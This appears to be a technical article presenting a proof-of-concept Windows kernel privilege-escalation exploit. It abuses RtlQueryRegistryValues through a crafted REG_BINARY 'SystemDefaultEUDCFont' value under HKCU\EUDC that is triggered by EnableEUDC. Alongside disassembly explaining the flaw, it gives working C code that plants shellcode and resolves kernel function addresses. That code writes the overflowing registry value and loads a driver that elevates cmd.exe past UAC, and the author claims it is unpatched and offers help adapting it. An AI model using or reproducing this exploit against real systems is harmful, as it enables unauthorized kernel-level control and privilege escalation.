-
Introduction
-
-
I would like to present an exploit of an ambiguous parameter in
Windows kernel API that leads to buffer overflows under nearly every version of
Microsoft Windows, especially one that can be used as a backdoor to Windows user
privilege system as well as User Access Control.
-
-
The starring API would be RtlQueryRegistryValues, it meant to be
used to query multiple registry values by a query table, given the EntryContext
field as output buffer. There is a problem that this field can be either treated
as a UNICODE_STRING structure or a ULONG buffer length followed by the actual
buffer, and this is determined by the type of the registry key being
queried.
-
Using the code
-
-
In this example, I found a registry key which can be manipulated
with only user rights, by changing its type to REG_BINARY overflows the kernel.
When Win32k.sys->NtGdiEnableEudc queries
HKCU\EUDC\[Language]\SystemDefaultEUDCFont registry value, it assumes that the
registry value is REG_SZ, so the buffer provided on stack is a UNICODE_STRING
structure, of which the first ULONG value in this structure represents the
length of the string buffer, but if the value in registry is REG_BINARY type, it
will be wrongly interpreted as the length of the given buffer, thus overwrites
the stack.
-
Collapse
-
Collapse
-
-
.text:BF81BA91 push esi ;
Environment
-
.text:BF81BA92 push esi ;
Context
-
.text:BF81BA93 push offset
?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A ; QueryTable
-
.text:BF81BA98 push edi ;
Path
-
.text:BF81BA99 lea eax,
[ebp+DestinationString]
-
.text:BF81BA9C push esi ;
RelativeTo
-
.text:BF81BA9D mov
?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.QueryRoutine, esi ;
_RTL_QUERY_REGISTRY_TABLE * SharedQueryTable
-
.text:BF81BAA3 mov
?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Flags, 24h
-
.text:BF81BAAD mov
?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Name, offset aSystemdefaulte
; "SystemDefaultEUDCFont"
-
.text:BF81BAB7 mov
?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.EntryContext, eax
-
.text:BF81BABC mov
?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultType, esi
-
.text:BF81BAC2 mov
?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultData, esi
-
.text:BF81BAC8 mov
?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultLength,
esi
-
.text:BF81BACE mov dword_BFA198FC,
esi
-
.text:BF81BAD4 mov dword_BFA19900,
esi
-
.text:BF81BADA mov dword_BFA19904,
esi
-
.text:BF81BAE0 call
ds:__imp__RtlQueryRegistryValues@20 ;
RtlQueryRegistryValues(x,x,x,x,x)
-
.text:BF81BAE6 mov [ebp+var_8],
eax
-
-
Stack trace shows the calling process is as follows:
-
-
GDI32.EnableEUDC ->
-
NtGdiEnableEudc ->
-
GreEnableEUDC ->
-
sub_BF81B3B4 ->
-
sub_BF81BA0B ->
-
RtlQueryRegistryValues (Overflow occurs)
-
-
Given this we can design the registry value which will precisely
overwrite the return address of the calling function on stack, results in an
arbitrary buffer being executed in kernel mode. In my PoC the buffer contains a
simple kernel PE loader, which will eventually load a driver that will escalate
"cmd.exe” process privilege regardless of UAC.
-
Collapse
-
Collapse
-
-
// Allocate buffer for the driver
-
LPVOID pDrvMem = VirtualAlloc(NULL, sizeof(DrvBuf), MEM_COMMIT |
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
-
memcpy(pDrvMem, DrvBuf, sizeof(DrvBuf));
-
-
BYTE* pMem; // shellcode
-
DWORD ExpSize = 0;
-
-
BYTE RegBuf[0x40] = {0}; // reg binary buffer
-
-
pMem = (BYTE*)VirtualAlloc(NULL, sizeof(Data), MEM_COMMIT |
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
-
memcpy(pMem, Data, sizeof(Data)); // Copy
shellcode
-
-
*(DWORD*)(RegBuf + 0x1C) = (DWORD)pMem; // Point return
value to our buffer
-
-
ExpSize = 0x28;
-
-
-
The shellcode need some kernel APIs, we need to get their
addresses from the running kernel.
-
Collapse
-
Collapse
-
-
// Get the running kernel file name
-
HMODULE hDll = GetModuleHandle(L"ntdll.dll");
-
pfnZwQuerySystemInformation fnZwQuerySystemInformation =
(pfnZwQuerySystemInformation)GetProcAddress(hDll,"ZwQuerySystemInformation");
-
PSYSTEM_MODULE_INFORMATIONS pModInfo = NULL;
-
ULONG AllocSize = 0;
-
fnZwQuerySystemInformation(SystemModuleInformation, pModInfo,
AllocSize, &AllocSize);
-
-
pModInfo =
(PSYSTEM_MODULE_INFORMATIONS)malloc(AllocSize);
-
fnZwQuerySystemInformation(SystemModuleInformation, pModInfo,
AllocSize, &AllocSize);
-
HMODULE hKernel =
LoadLibraryExA(pModInfo->modinfo[0].ImageName +
pModInfo->modinfo[0].ModuleNameOffset, NULL,
DONT_RESOLVE_DLL_REFERENCES);
-
-
//Relocation to the running kernel base
-
DWORD Delta = (DWORD)pModInfo->modinfo[0].Base -
(DWORD)hKernel;
-
-
free(pModInfo);
-
-
// For Vista, there is a Pool address on the stack which is going
to be passed to ExFreePool before the function returns,
-
// so we need a valid pool address to avoid BSOD.
-
-
if(vi.dwBuildNumber < 7600)
-
{
-
FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x2C);
-
-
HANDLE hDummy = CreateSemaphore(NULL, 10, 10,
L"Local\\PoC");
-
PSYSTEM_HANDLE_INFORMATION pHandleInfo =
(PSYSTEM_HANDLE_INFORMATION)malloc(sizeof(SYSTEM_HANDLE_INFORMATION));
-
AllocSize = sizeof(SYSTEM_HANDLE_INFORMATION);
-
fnZwQuerySystemInformation(SystemHandleInformation,
pHandleInfo, AllocSize, &AllocSize);
-
-
pHandleInfo =
(PSYSTEM_HANDLE_INFORMATION)realloc(pHandleInfo, AllocSize);
-
fnZwQuerySystemInformation(SystemHandleInformation,
pHandleInfo, AllocSize, &AllocSize);
-
-
for(DWORD i = 0; i < pHandleInfo->NumberOfHandles;
i++)
-
{
-
if((HANDLE)pHandleInfo->Handles[i].HandleValue ==
hDummy)
-
{
-
*(DWORD*)(RegBuf + 0x4) =
(DWORD)(pHandleInfo->Handles[i].Object) - 0x18;
-
break;
-
}
-
}
-
free(pHandleInfo);
-
}
-
else
-
{
-
FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x30);
-
}
-
-
// Now fills the API addresses needed
-
FixDWORD(pMem, sizeof(Data), 0x11111111,
(DWORD)GetProcAddress(hKernel, "ExAllocatePoolWithTag") + Delta);
-
FixDWORD(pMem, sizeof(Data), 0x22222222,
(DWORD)GetProcAddress(hKernel, "RtlInitAnsiString") + Delta);
-
FixDWORD(pMem, sizeof(Data), 0x33333333,
(DWORD)GetProcAddress(hKernel, "RtlAnsiStringToUnicodeString") +
Delta);
-
FixDWORD(pMem, sizeof(Data), 0x44444444,
(DWORD)GetProcAddress(hKernel, "MmGetSystemRoutineAddress") + Delta);
-
FixDWORD(pMem, sizeof(Data), 0x55555555,
(DWORD)GetProcAddress(hKernel, "RtlFreeUnicodeString") + Delta);
-
FixDWORD(pMem, sizeof(Data), 0x66666666,
(DWORD)GetProcAddress(hKernel, "memcpy") + Delta);
-
FixDWORD(pMem, sizeof(Data), 0x77777777,
(DWORD)GetProcAddress(hKernel, "memset") + Delta);
-
FixDWORD(pMem, sizeof(Data), 0x88888888,
(DWORD)GetProcAddress(hKernel, "KeDelayExecutionThread") + Delta);
-
FreeLibrary(hKernel);
-
-
// Here we tell the shellcode(PE loader) where the driver buffer
is.
-
FixDWORD(pMem, sizeof(Data), 0x11223344,
sizeof(DrvBuf));
-
FixDWORD(pMem, sizeof(Data), 0x55667788,
(DWORD)pDrvMem);
-
-
-
Finally, we set the registry value and call GDI32.EnableEUDC to
fire the exploit.
-
Collapse
-
Collapse
-
-
UINT codepage = GetACP();
-
TCHAR tmpstr[256];
-
_stprintf_s(tmpstr, TEXT("EUDC\\%d"), codepage); // Get
current code page
-
HKEY hKey;
-
RegCreateKeyEx(HKEY_CURRENT_USER, tmpstr, 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_SET_VALUE | DELETE, NULL, &hKey,
NULL);
-
RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));
-
-
RegSetValueEx(hKey, TEXT("SystemDefaultEUDCFont"), 0, REG_BINARY,
RegBuf, ExpSize);
-
-
__try
-
{
-
EnableEUDC(TRUE);
-
}
-
__except(1)
-
{
-
}
-
RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));
-
RegCloseKey(hKey);
-
-
After running this PoC, just type "whoami" in command prompt to
see the escalated user credentials.
-
Points of Interest
-
-
All actions this PoC performs require only user privilege, but
result in arbitrary kernel mode code execution due to the ambiguous design of
RtlQueryRegistryValues. This design flaw exists in most versions of Windows
kernels, yet no patch or documentation is publicly available on this
issue.
-
Additional Information
-
-
This PoC may not correctly fix the exploited kernel context and
resume execution without BSOD, such as on kernels ealier than 6.1.6000 are not
supported, current supported kernels are:
-
Windows Vista/2008 6.1.6000 x32,
-
Windows Vista/2008 6.1.6001 x32,
-
Windows 7 6.2.7600 x32,
-
Windows 7/2008 R2 6.2.7600 x64.
-
Beyond this scope you may contact me for information on how to
tune the code to work correctly on your kernel or how the shellcode works, etc.
Those contents are beyond the scope of this article and of no importance to the
exploit, therefore it is not included.